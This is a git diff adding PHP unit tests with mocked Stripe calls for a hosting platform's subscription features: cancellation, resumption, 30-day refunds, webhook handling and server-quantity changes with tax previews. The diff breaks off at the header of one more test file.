a/tests/Feature/Subscription/CancelSubscriptionActionsTest.php b/tests/Feature/Subscription/CancelSubscriptionActionsTest.php new file mode 100644 index 000000000..0c8742d06 --- /dev/null +++ b/tests/Feature/Subscription/CancelSubscriptionActionsTest.php @@ -0,0 +1,96 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_456', + 'stripe_customer_id' => 'cus_test_456', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_456', + 'stripe_cancel_at_period_end' => false, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockStripe->subscriptions = $this->mockSubscriptions; +}); + +describe('CancelSubscriptionAtPeriodEnd', function () { + test('cancels subscription at period end successfully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_456', ['cancel_at_period_end' => true]) + ->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => true]); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_cancel_at_period_end)->toBeTruthy(); + expect($this->subscription->stripe_invoice_paid)->toBeTruthy(); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No active subscription'); + }); + + test('fails when subscription is not active', function () { + $this->subscription->update(['stripe_invoice_paid' => false]); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('not active'); + }); + + test('fails when already set to cancel at period end', function () { + $this->subscription->update(['stripe_cancel_at_period_end' => true]); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('already set to cancel'); + }); + + test('handles stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found')); + + $action = new CancelSubscriptionAtPeriodEnd($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Stripe error'); + }); +}); diff --git a/tests/Feature/Subscription/RefundSubscriptionTest.php b/tests/Feature/Subscription/RefundSubscriptionTest.php new file mode 100644 index 000000000..6f67fca2b --- /dev/null +++ b/tests/Feature/Subscription/RefundSubscriptionTest.php @@ -0,0 +1,336 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_123', + 'stripe_customer_id' => 'cus_test_123', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_123', + 'stripe_cancel_at_period_end' => false, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockInvoices = Mockery::mock(InvoiceService::class); + $this->mockRefunds = Mockery::mock(RefundService::class); + + $this->mockStripe->subscriptions = $this->mockSubscriptions; + $this->mockStripe->invoices = $this->mockInvoices; + $this->mockStripe->refunds = $this->mockRefunds; +}); + +describe('checkEligibility', function () { + test('returns eligible when subscription is within 30 days', function () { + $periodEnd = now()->addDays(20)->timestamp; + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => $periodEnd, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeTrue(); + expect($result['days_remaining'])->toBe(20); + expect($result['current_period_end'])->toBe($periodEnd); + }); + + test('returns ineligible when subscription is past 30 days', function () { + $periodEnd = now()->addDays(25)->timestamp; + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(35)->timestamp, + 'current_period_end' => $periodEnd, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['days_remaining'])->toBe(0); + expect($result['reason'])->toContain('30-day refund window has expired'); + expect($result['current_period_end'])->toBe($periodEnd); + }); + + test('returns ineligible when subscription is not active', function () { + $periodEnd = now()->addDays(25)->timestamp; + $stripeSubscription = (object) [ + 'status' => 'canceled', + 'start_date' => now()->subDays(5)->timestamp, + 'current_period_end' => $periodEnd, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['current_period_end'])->toBe($periodEnd); + }); + + test('returns ineligible when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('No active subscription'); + expect($result['current_period_end'])->toBeNull(); + }); + + test('returns ineligible when invoice is not paid', function () { + $this->subscription->update(['stripe_invoice_paid' => false]); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('not paid'); + expect($result['current_period_end'])->toBeNull(); + }); + + test('returns ineligible when team has already been refunded', function () { + $this->subscription->update(['stripe_refunded_at' => now()->subDays(60)]); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('already been processed'); + }); + + test('returns ineligible when stripe subscription not found', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andThrow(new \Stripe\Exception\InvalidRequestException('No such subscription')); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->checkEligibility($this->team); + + expect($result['eligible'])->toBeFalse(); + expect($result['reason'])->toContain('not found in Stripe'); + }); +}); + +describe('execute', function () { + test('processes refund successfully', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => [ + (object) ['payment_intent' => 'pi_test_123'], + ]]; + + $this->mockInvoices + ->shouldReceive('all') + ->with([ + 'subscription' => 'sub_test_123', + 'status' => 'paid', + 'limit' => 1, + ]) + ->andReturn($invoiceCollection); + + $this->mockRefunds + ->shouldReceive('create') + ->with(['payment_intent' => 'pi_test_123']) + ->andReturn((object) ['id' => 're_test_123']); + + $this->mockSubscriptions + ->shouldReceive('cancel') + ->with('sub_test_123') + ->andReturn((object) ['status' => 'canceled']); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_feedback)->toBe('Refund requested by user'); + expect($this->subscription->stripe_refunded_at)->not->toBeNull(); + }); + + test('prevents a second refund after re-subscribing', function () { + $this->subscription->update([ + 'stripe_refunded_at' => now()->subDays(15), + 'stripe_invoice_paid' => true, + 'stripe_subscription_id' => 'sub_test_new_456', + ]); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('already been processed'); + }); + + test('fails when no paid invoice found', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => []]; + + $this->mockInvoices + ->shouldReceive('all') + ->andReturn($invoiceCollection); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No paid invoice'); + }); + + test('fails when invoice has no payment intent', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + 'current_period_end' => now()->addDays(20)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => [ + (object) ['payment_intent' => null], + ]]; + + $this->mockInvoices + ->shouldReceive('all') + ->andReturn($invoiceCollection); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No payment intent'); + }); + + test('records refund and proceeds when cancel fails', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(10)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $invoiceCollection = (object) ['data' => [ + (object) ['payment_intent' => 'pi_test_123'], + ]]; + + $this->mockInvoices + ->shouldReceive('all') + ->with([ + 'subscription' => 'sub_test_123', + 'status' => 'paid', + 'limit' => 1, + ]) + ->andReturn($invoiceCollection); + + $this->mockRefunds + ->shouldReceive('create') + ->with(['payment_intent' => 'pi_test_123']) + ->andReturn((object) ['id' => 're_test_123']); + + // Cancel throws — simulating Stripe failure after refund + $this->mockSubscriptions + ->shouldReceive('cancel') + ->with('sub_test_123') + ->andThrow(new \Exception('Stripe cancel API error')); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + // Should still succeed — refund went through + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + // Refund timestamp must be recorded + expect($this->subscription->stripe_refunded_at)->not->toBeNull(); + // Subscription should still be marked as ended locally + expect($this->subscription->stripe_invoice_paid)->toBeFalsy(); + expect($this->subscription->stripe_subscription_id)->toBeNull(); + }); + + test('fails when subscription is past refund window', function () { + $stripeSubscription = (object) [ + 'status' => 'active', + 'start_date' => now()->subDays(35)->timestamp, + 'current_period_end' => now()->addDays(25)->timestamp, + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_123') + ->andReturn($stripeSubscription); + + $action = new RefundSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('30-day refund window'); + }); +}); diff --git a/tests/Feature/Subscription/ResumeSubscriptionTest.php b/tests/Feature/Subscription/ResumeSubscriptionTest.php new file mode 100644 index 000000000..8632a4c07 --- /dev/null +++ b/tests/Feature/Subscription/ResumeSubscriptionTest.php @@ -0,0 +1,85 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_789', + 'stripe_customer_id' => 'cus_test_789', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_789', + 'stripe_cancel_at_period_end' => true, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockStripe->subscriptions = $this->mockSubscriptions; +}); + +describe('ResumeSubscription', function () { + test('resumes subscription successfully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_789', ['cancel_at_period_end' => false]) + ->andReturn((object) ['status' => 'active', 'cancel_at_period_end' => false]); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->subscription->refresh(); + expect($this->subscription->stripe_cancel_at_period_end)->toBeFalsy(); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No active subscription'); + }); + + test('fails when subscription is not set to cancel', function () { + $this->subscription->update(['stripe_cancel_at_period_end' => false]); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('not set to cancel'); + }); + + test('handles stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('update') + ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found')); + + $action = new ResumeSubscription($this->mockStripe); + $result = $action->execute($this->team); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Stripe error'); + }); +}); diff --git a/tests/Feature/Subscription/StripeProcessJobTest.php b/tests/Feature/Subscription/StripeProcessJobTest.php new file mode 100644 index 000000000..0a93f858c --- /dev/null +++ b/tests/Feature/Subscription/StripeProcessJobTest.php @@ -0,0 +1,230 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + config()->set('subscription.stripe_excluded_plans', ''); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); +}); + +describe('customer.subscription.created does not fall through to updated', function () { + test('created event creates subscription without setting stripe_invoice_paid to true', function () { + Queue::fake(); + + $event = [ + 'type' => 'customer.subscription.created', + 'data' => [ + 'object' => [ + 'customer' => 'cus_new_123', + 'id' => 'sub_new_123', + 'metadata' => [ + 'team_id' => $this->team->id, + 'user_id' => $this->user->id, + ], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + $subscription = Subscription::where('team_id', $this->team->id)->first(); + + expect($subscription)->not->toBeNull(); + expect($subscription->stripe_subscription_id)->toBe('sub_new_123'); + expect($subscription->stripe_customer_id)->toBe('cus_new_123'); + // Critical: stripe_invoice_paid must remain false — payment not yet confirmed + expect($subscription->stripe_invoice_paid)->toBeFalsy(); + }); + + test('created event updates existing subscription instead of duplicating', function () { + Queue::fake(); + + Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_old', + 'stripe_customer_id' => 'cus_old', + 'stripe_invoice_paid' => true, + ]); + + $event = [ + 'type' => 'customer.subscription.created', + 'data' => [ + 'object' => [ + 'customer' => 'cus_new_123', + 'id' => 'sub_new_123', + 'metadata' => [ + 'team_id' => $this->team->id, + 'user_id' => $this->user->id, + ], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1); + $subscription = Subscription::where('team_id', $this->team->id)->first(); + expect($subscription->stripe_subscription_id)->toBe('sub_new_123'); + expect($subscription->stripe_customer_id)->toBe('cus_new_123'); + }); +}); + +describe('checkout.session.completed', function () { + test('creates subscription for new team', function () { + Queue::fake(); + + $event = [ + 'type' => 'checkout.session.completed', + 'data' => [ + 'object' => [ + 'client_reference_id' => $this->user->id.':'.$this->team->id, + 'subscription' => 'sub_checkout_123', + 'customer' => 'cus_checkout_123', + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + $subscription = Subscription::where('team_id', $this->team->id)->first(); + expect($subscription)->not->toBeNull(); + expect($subscription->stripe_invoice_paid)->toBeTruthy(); + }); + + test('updates existing subscription instead of duplicating', function () { + Queue::fake(); + + Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_old', + 'stripe_customer_id' => 'cus_old', + 'stripe_invoice_paid' => false, + ]); + + $event = [ + 'type' => 'checkout.session.completed', + 'data' => [ + 'object' => [ + 'client_reference_id' => $this->user->id.':'.$this->team->id, + 'subscription' => 'sub_checkout_new', + 'customer' => 'cus_checkout_new', + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + expect(Subscription::where('team_id', $this->team->id)->count())->toBe(1); + $subscription = Subscription::where('team_id', $this->team->id)->first(); + expect($subscription->stripe_subscription_id)->toBe('sub_checkout_new'); + expect($subscription->stripe_invoice_paid)->toBeTruthy(); + }); +}); + +describe('customer.subscription.updated clamps quantity to MAX_SERVER_LIMIT', function () { + test('quantity exceeding MAX is clamped to 100', function () { + Queue::fake(); + + Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_existing', + 'stripe_customer_id' => 'cus_clamp_test', + 'stripe_invoice_paid' => true, + ]); + + $event = [ + 'type' => 'customer.subscription.updated', + 'data' => [ + 'object' => [ + 'customer' => 'cus_clamp_test', + 'id' => 'sub_existing', + 'status' => 'active', + 'metadata' => [ + 'team_id' => $this->team->id, + 'user_id' => $this->user->id, + ], + 'items' => [ + 'data' => [[ + 'subscription' => 'sub_existing', + 'plan' => ['id' => 'price_dynamic_monthly'], + 'price' => ['lookup_key' => 'dynamic_monthly'], + 'quantity' => 999, + ]], + ], + 'cancel_at_period_end' => false, + 'cancellation_details' => ['feedback' => null, 'comment' => null], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + $this->team->refresh(); + expect($this->team->custom_server_limit)->toBe(100); + + Queue::assertPushed(ServerLimitCheckJob::class); + }); +}); + +describe('ServerLimitCheckJob dispatch is guarded by team check', function () { + test('does not dispatch ServerLimitCheckJob when team is null', function () { + Queue::fake(); + + // Create subscription without a valid team relationship + $subscription = Subscription::create([ + 'team_id' => 99999, + 'stripe_subscription_id' => 'sub_orphan', + 'stripe_customer_id' => 'cus_orphan_test', + 'stripe_invoice_paid' => true, + ]); + + $event = [ + 'type' => 'customer.subscription.updated', + 'data' => [ + 'object' => [ + 'customer' => 'cus_orphan_test', + 'id' => 'sub_orphan', + 'status' => 'active', + 'metadata' => [ + 'team_id' => null, + 'user_id' => null, + ], + 'items' => [ + 'data' => [[ + 'subscription' => 'sub_orphan', + 'plan' => ['id' => 'price_dynamic_monthly'], + 'price' => ['lookup_key' => 'dynamic_monthly'], + 'quantity' => 5, + ]], + ], + 'cancel_at_period_end' => false, + 'cancellation_details' => ['feedback' => null, 'comment' => null], + ], + ], + ]; + + $job = new StripeProcessJob($event); + $job->handle(); + + Queue::assertNotPushed(ServerLimitCheckJob::class); + }); +}); diff --git a/tests/Feature/Subscription/TeamSubscriptionEndedTest.php b/tests/Feature/Subscription/TeamSubscriptionEndedTest.php new file mode 100644 index 000000000..55d59e0e6 --- /dev/null +++ b/tests/Feature/Subscription/TeamSubscriptionEndedTest.php @@ -0,0 +1,16 @@ +create(); + + // Should return early without error — no NPE + $team->subscriptionEnded(); + + // If we reach here, no exception was thrown + expect(true)->toBeTrue(); +}); diff --git a/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php new file mode 100644 index 000000000..3e13170f0 --- /dev/null +++ b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php @@ -0,0 +1,375 @@ +set('constants.coolify.self_hosted', false); + config()->set('subscription.provider', 'stripe'); + config()->set('subscription.stripe_api_key', 'sk_test_fake'); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $this->subscription = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_subscription_id' => 'sub_test_qty', + 'stripe_customer_id' => 'cus_test_qty', + 'stripe_invoice_paid' => true, + 'stripe_plan_id' => 'price_test_qty', + 'stripe_cancel_at_period_end' => false, + 'stripe_past_due' => false, + ]); + + $this->mockStripe = Mockery::mock(StripeClient::class); + $this->mockSubscriptions = Mockery::mock(SubscriptionService::class); + $this->mockInvoices = Mockery::mock(InvoiceService::class); + $this->mockTaxRates = Mockery::mock(TaxRateService::class); + $this->mockStripe->subscriptions = $this->mockSubscriptions; + $this->mockStripe->invoices = $this->mockInvoices; + $this->mockStripe->taxRates = $this->mockTaxRates; + + $this->stripeSubscriptionResponse = (object) [ + 'items' => (object) [ + 'data' => [(object) [ + 'id' => 'si_item_123', + 'quantity' => 2, + 'price' => (object) ['unit_amount' => 500, 'currency' => 'usd'], + ]], + ], + ]; +}); + +describe('UpdateSubscriptionQuantity::execute', function () { + test('updates quantity successfully', function () { + Queue::fake(); + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_qty', [ + 'items' => [ + ['id' => 'si_item_123', 'quantity' => 5], + ], + 'proration_behavior' => 'always_invoice', + 'expand' => ['latest_invoice'], + ]) + ->andReturn((object) [ + 'status' => 'active', + 'latest_invoice' => (object) ['status' => 'paid'], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeTrue(); + expect($result['error'])->toBeNull(); + + $this->team->refresh(); + expect($this->team->custom_server_limit)->toBe(5); + + Queue::assertPushed(ServerLimitCheckJob::class, function ($job) { + return $job->team->id === $this->team->id; + }); + }); + + test('reverts subscription and voids invoice when payment fails', function () { + Queue::fake(); + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + // First update: changes quantity but payment fails + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_qty', [ + 'items' => [ + ['id' => 'si_item_123', 'quantity' => 5], + ], + 'proration_behavior' => 'always_invoice', + 'expand' => ['latest_invoice'], + ]) + ->andReturn((object) [ + 'status' => 'active', + 'latest_invoice' => (object) ['id' => 'in_failed_123', 'status' => 'open'], + ]); + + // Revert: restores original quantity + $this->mockSubscriptions + ->shouldReceive('update') + ->with('sub_test_qty', [ + 'items' => [ + ['id' => 'si_item_123', 'quantity' => 2], + ], + 'proration_behavior' => 'none', + ]) + ->andReturn((object) ['status' => 'active']); + + // Void the unpaid invoice + $this->mockInvoices + ->shouldReceive('voidInvoice') + ->with('in_failed_123') + ->once(); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Payment failed'); + + $this->team->refresh(); + expect($this->team->custom_server_limit)->not->toBe(5); + + Queue::assertNotPushed(ServerLimitCheckJob::class); + }); + + test('rejects quantity below minimum of 2', function () { + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 1); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Minimum server limit is 2'); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('No active subscription'); + }); + + test('fails when subscription is not active', function () { + $this->subscription->update(['stripe_invoice_paid' => false]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('not active'); + }); + + test('fails when subscription item cannot be found', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn((object) [ + 'items' => (object) ['data' => []], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Could not find subscription item'); + }); + + test('handles stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found')); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Stripe error'); + }); + + test('handles generic exception gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->andThrow(new \RuntimeException('Network error')); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->execute($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('unexpected error'); + }); +}); + +describe('UpdateSubscriptionQuantity::fetchPricePreview', function () { + test('returns full preview with proration and recurring cost with tax', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + $this->mockInvoices + ->shouldReceive('upcoming') + ->with([ + 'customer' => 'cus_test_qty', + 'subscription' => 'sub_test_qty', + 'subscription_items' => [ + ['id' => 'si_item_123', 'quantity' => 3], + ], + 'subscription_proration_behavior' => 'create_prorations', + ]) + ->andReturn((object) [ + 'amount_due' => 2540, + 'total' => 2540, + 'subtotal' => 2000, + 'tax' => 540, + 'currency' => 'usd', + 'lines' => (object) [ + 'data' => [ + (object) ['amount' => -300, 'proration' => true], // credit for unused + (object) ['amount' => 800, 'proration' => true], // charge for new qty + (object) ['amount' => 1500, 'proration' => false], // next cycle + ], + ], + 'total_tax_amounts' => [ + (object) ['tax_rate' => 'txr_123'], + ], + ]); + + $this->mockTaxRates + ->shouldReceive('retrieve') + ->with('txr_123') + ->andReturn((object) [ + 'display_name' => 'VAT', + 'jurisdiction' => 'HU', + 'percentage' => 27, + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 3); + + expect($result['success'])->toBeTrue(); + // Due now: invoice total (2540) - recurring total (1905) = 635 + expect($result['preview']['due_now'])->toBe(635); + // Recurring: 3 × $5.00 = $15.00 + expect($result['preview']['recurring_subtotal'])->toBe(1500); + // Tax: $15.00 × 27% = $4.05 + expect($result['preview']['recurring_tax'])->toBe(405); + // Total: $15.00 + $4.05 = $19.05 + expect($result['preview']['recurring_total'])->toBe(1905); + expect($result['preview']['unit_price'])->toBe(500); + expect($result['preview']['tax_description'])->toContain('VAT'); + expect($result['preview']['tax_description'])->toContain('27%'); + expect($result['preview']['quantity'])->toBe(3); + expect($result['preview']['currency'])->toBe('USD'); + }); + + test('returns preview without tax when no tax applies', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($this->stripeSubscriptionResponse); + + $this->mockInvoices + ->shouldReceive('upcoming') + ->andReturn((object) [ + 'amount_due' => 1250, + 'total' => 1250, + 'subtotal' => 1250, + 'tax' => 0, + 'currency' => 'usd', + 'lines' => (object) [ + 'data' => [ + (object) ['amount' => 250, 'proration' => true], // proration charge + (object) ['amount' => 1000, 'proration' => false], // next cycle + ], + ], + 'total_tax_amounts' => [], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 2); + + expect($result['success'])->toBeTrue(); + // Due now: invoice total (1250) - recurring total (1000) = 250 + expect($result['preview']['due_now'])->toBe(250); + // 2 × $5.00 = $10.00, no tax + expect($result['preview']['recurring_subtotal'])->toBe(1000); + expect($result['preview']['recurring_tax'])->toBe(0); + expect($result['preview']['recurring_total'])->toBe(1000); + expect($result['preview']['tax_description'])->toBeNull(); + }); + + test('fails when no subscription exists', function () { + $team = Team::factory()->create(); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['preview'])->toBeNull(); + }); + + test('fails when subscription item not found', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn((object) [ + 'items' => (object) ['data' => []], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Could not retrieve subscription details'); + }); + + test('handles Stripe API error gracefully', function () { + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->andThrow(new \RuntimeException('API error')); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 5); + + expect($result['success'])->toBeFalse(); + expect($result['error'])->toContain('Could not load price preview'); + expect($result['preview'])->toBeNull(); + }); +}); + +describe('Subscription billingInterval', function () { + test('returns monthly for monthly plan', function () { + config()->set('subscription.stripe_price_id_dynamic_monthly', 'price_monthly_123'); + + $this->subscription->update(['stripe_plan_id' => 'price_monthly_123']); + $this->subscription->refresh(); + + expect($this->subscription->billingInterval())->toBe('monthly'); + }); + + test('returns yearly for yearly plan', function () { + config()->set('subscription.stripe_price_id_dynamic_yearly', 'price_yearly_123'); + + $this->subscription->update(['stripe_plan_id' => 'price_yearly_123']); + $this->subscription->refresh(); + + expect($this->subscription->billingInterval())->toBe('yearly'); + }); + + test('defaults to monthly when plan id is null', function () { + $this->subscription->update(['stripe_plan_id' => null]); + $this->subscription->refresh(); + + expect($this->subscription->billingInterval())->toBe('monthly'); + }); +}); diff --git a/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php b/tests/Feature/Subscription/VerifyStripeSubscriptionStatusJobTest.php new file mode 100644 index 000000000..be8661b6c --- /dev/null +++ 